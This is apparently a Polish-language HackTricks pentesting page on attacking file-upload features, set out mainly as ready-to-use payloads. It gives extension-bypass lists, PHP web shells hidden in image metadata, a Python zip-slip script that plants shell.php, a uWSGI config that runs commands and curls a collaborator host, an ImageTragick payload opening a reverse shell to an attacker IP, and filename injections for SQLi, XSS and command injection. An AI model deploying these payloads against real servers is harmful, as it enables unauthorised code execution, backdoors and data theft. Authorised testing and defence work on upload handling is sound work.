File Upload
Reading time: 16 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
File Upload General Methodology
Inne przydatne rozszerzenia:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Praca w PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Ominięcie sprawdzania rozszerzeń plików
- Jeśli to dotyczy, sprawdź poprzednie rozszerzenia. Przetestuj je również używając wielkich liter: pHp, .pHP5, .PhAr ...
- Sprawdź dodawanie ważnego rozszerzenia przed rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):
- file.png.php
- file.png.Php5
- Spróbuj dodać znaki specjalne na końcu. Możesz użyć Burp do bruteforce wszystkich znaków ascii i Unicode. (Zauważ, że możesz również spróbować użyć wcześniej wspomnianych rozszerzeń)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Spróbuj obejść zabezpieczenia oszukując parser rozszerzeń po stronie serwera za pomocą technik takich jak podwajanie rozszerzenia lub dodawanie śmieci danych (bajty null) między rozszerzeniami. Możesz również użyć wcześniejszych rozszerzeń do przygotowania lepszego ładunku.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Dodaj kolejną warstwę rozszerzeń do poprzedniego sprawdzenia:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Spróbuj umieścić rozszerzenie exec przed ważnym rozszerzeniem i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem _.php**_, ale niekoniecznie kończące się na .php** wykona kod):
- ex: file.php.png
- Używanie NTFS alternate data stream (ADS) w Windows. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, pusty plik z zabronionym rozszerzeniem zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “::$data” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
- Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
# Linux maksymalnie 255 bajtów
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Stwórz ładunek
AAA<--SNIP 232 A-->AAA.php.png
Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
- Omiń sprawdzanie Content-Type ustawiając wartość nagłówka Content-Type na: image/png, text/plain, application/octet-stream_
- Lista słów kluczowych Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Omiń sprawdzanie magic number dodając na początku pliku bajty prawdziwego obrazu (zdezorientuj polecenie file). Lub wprowadź powłokę wewnątrz metadanych:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
lub możesz również wprowadzić ładunek bezpośrednio w obrazie:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Jeśli kompresja jest dodawana do twojego obrazu, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak PHP-GD, wcześniejsze techniki nie będą przydatne. Jednak możesz użyć techniki PLTE chunk zdefiniowanej tutaj do wstawienia tekstu, który przetrwa kompresję.
- Github z kodem
- Strona internetowa może również zmieniać rozmiar obrazu, używając na przykład funkcji PHP-GD
imagecopyresized
lubimagecopyresampled
. Jednak możesz użyć techniki IDAT chunk zdefiniowanej tutaj do wstawienia tekstu, który przetrwa kompresję. - Github z kodem
- Inną techniką do stworzenia ładunku, który przetrwa zmianę rozmiaru obrazu, jest użycie funkcji PHP-GD
thumbnailImage
. Jednak możesz użyć techniki tEXt chunk zdefiniowanej tutaj do wstawienia tekstu, który przetrwa kompresję. - Github z kodem
Inne sztuczki do sprawdzenia
- Znajdź lukę, aby zmienić nazwę już przesłanego pliku (aby zmienić rozszerzenie).
- Znajdź lukę Local File Inclusion, aby wykonać backdoora.
- Możliwe ujawnienie informacji:
- Prześlij wielokrotnie (i jednocześnie) ten sam plik o tej samej nazwie
- Prześlij plik o nazwie pliku lub folderu, który już istnieje
- Przesyłanie pliku z “.”, “..”, lub “…” jako jego nazwą. Na przykład, w Apache w Windows, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
- Prześlij plik, który może być trudny do usunięcia, taki jak “…:.jpg” w NTFS. (Windows)
- Prześlij plik w Windows z nieprawidłowymi znakami takimi jak
|<>*?”
w jego nazwie. (Windows) - Prześlij plik w Windows używając zarezerwowanych (zabronionych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Spróbuj również przesłać plik wykonywalny (.exe) lub .html (mniej podejrzany), który wykona kod po przypadkowym otwarciu przez ofiarę.
Specjalne sztuczki z rozszerzeniami
Jeśli próbujesz przesłać pliki na serwer PHP, zobacz sztuczkę .htaccess do wykonania kodu.
Jeśli próbujesz przesłać pliki na serwer ASP, zobacz sztuczkę .config do wykonania kodu.
Pliki .phar
są jak .jar
dla javy, ale dla php, i mogą być używane jak plik php (wykonując je za pomocą php lub włączając je w skrypcie...)
Rozszerzenie .inc
jest czasami używane dla plików php, które są używane tylko do importowania plików, więc w pewnym momencie ktoś mógł pozwolić na wykonywanie tego rozszerzenia.
Jetty RCE
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać RCE, ponieważ nowe *.xml i *.war są automatycznie przetwarzane. Jak wspomniano na poniższym obrazku, prześlij plik XML do $JETTY_BASE/webapps/
i oczekuj powłoki!
uWSGI RCE
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: uWSGI RCE Exploitation.
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego .ini
. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako @(filename)
, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny .ini
jest przetwarzany.
Rozważ następujący przykład szkodliwego pliku uwsgi.ini
, pokazującego różne schematy:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać ponownie uruchomiony (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
wget File Upload/SSRF Trick
W niektórych przypadkach możesz zauważyć, że serwer używa wget
do pobierania plików i możesz wskazać URL. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak to sprawdzenie można obejść.
Maksymalna długość nazwy pliku w linuxie wynosi 255, jednak wget skraca nazwy plików do 236 znaków. Możesz pobrać plik o nazwie "A"*232+".php"+".gif", ta nazwa pliku obejdzie sprawdzenie (ponieważ w tym przykładzie ".gif" jest ważnym rozszerzeniem), ale wget
zmieni nazwę pliku na "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Zauważ, że inną opcją, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, aby serwer HTTP przekierował do innego pliku, więc początkowy URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To nie zadziała chyba że wget jest używany z parametrem --trust-server-names
, ponieważ wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym URL.
Narzędzia
- Upload Bypass to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
Od przesyłania plików do innych luk
- Ustaw filename na
../../../tmp/lol.png
i spróbuj osiągnąć przechodzenie ścieżki - Ustaw filename na
sleep(10)-- -.jpg
i możesz być w stanie osiągnąć SQL injection - Ustaw filename na
<svg onload=alert(document.domain)>
, aby osiągnąć XSS - Ustaw filename na
; sleep 10;
, aby przetestować niektóre wstrzyknięcia poleceń (więcej sztuczek wstrzyknięć poleceń tutaj) - XSS w przesyłaniu plików obrazów (svg)
- JS plik upload + XSS = wykorzystanie Service Workers
- XXE w przesyłaniu svg
- Open Redirect poprzez przesyłanie pliku svg
- Spróbuj różnych ładunków svg z https://github.com/allanlw/svg-cheatsheet****
- Słynna luka ImageTrick
- Jeśli możesz wskazać serwerowi WWW, aby pobrał obraz z URL, możesz spróbować wykorzystać SSRF. Jeśli ten obraz ma być zapisany na jakiejś publicznej stronie, możesz również wskazać URL z https://iplogger.org/invisible/ i ukraść informacje o każdym odwiedzającym.
- XXE i CORS obejście z przesyłaniem PDF-Adobe
- Specjalnie przygotowane PDF-y do XSS: następująca strona przedstawia, jak wstrzyknąć dane PDF, aby uzyskać wykonanie JS. Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
- Prześlij zawartość [eicar](https://secure.eicar.org/eicar.com.txt), aby sprawdzić, czy serwer ma jakikolwiek antywirus
- Sprawdź, czy istnieje jakikolwiek limit rozmiaru przy przesyłaniu plików
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z tutaj):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: XSS przechowywane / SSRF / XXE
- GIF: XSS przechowywane / SSRF
- CSV: wstrzyknięcie CSV
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : wstrzyknięcie HTML / XSS / Open redirect
- PNG / JPEG: atak pixel flood (DoS)
- ZIP: RCE poprzez LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Rozszerzenie Burp
{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Zobacz https://en.wikipedia.org/wiki/List_of_file_signatures dla innych typów plików.
Automatycznie dekompresowane przesyłanie plików Zip/Tar
Jeśli możesz przesłać ZIP, który ma być dekompresowany na serwerze, możesz zrobić 2 rzeczy:
Symlink
Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do dekompresowanych plików, uzyskasz dostęp do powiązanych plików:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Decompress in different folders
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest istotnym problemem. Pomimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na evilarc na GitHubie. Narzędzie można używać w sposób pokazany:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Dodatkowo, sztuczka z symlinkiem z evilarc jest opcją. Jeśli celem jest celowanie w plik taki jak /flag.txt
, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
Poniżej znajduje się przykład kodu Python używanego do tworzenia złośliwego pliku zip:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Wykorzystywanie kompresji do sprayowania plików
Aby uzyskać więcej szczegółów sprawdź oryginalny post w: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Tworzenie powłoki PHP: Kod PHP jest napisany w celu wykonania poleceń przekazanych przez zmienną
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Sprayowanie plików i tworzenie skompresowanego pliku: Tworzone są wiele plików, a następnie składany jest archiwum zip zawierające te pliki.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modyfikacja za pomocą edytora hex lub vi: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać lukę (ImageMagick , 7.0.1-1) (z eksploitu)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Osadzanie powłoki PHP w PNG
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje imagecopyresized
i imagecopyresampled
z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: "Encoding Web Shells in PNG IDAT chunks". To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
Więcej informacji w: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Pliki poliglotowe
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest GIFAR, hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przykład, podczas gdy plik poliglotowy może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, sukces jego przesyłania może zależeć od polityki rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dualność pliku poliglotowego może nie wystarczyć, aby zapewnić jego przesłanie.
Więcej informacji w: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Odniesienia
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.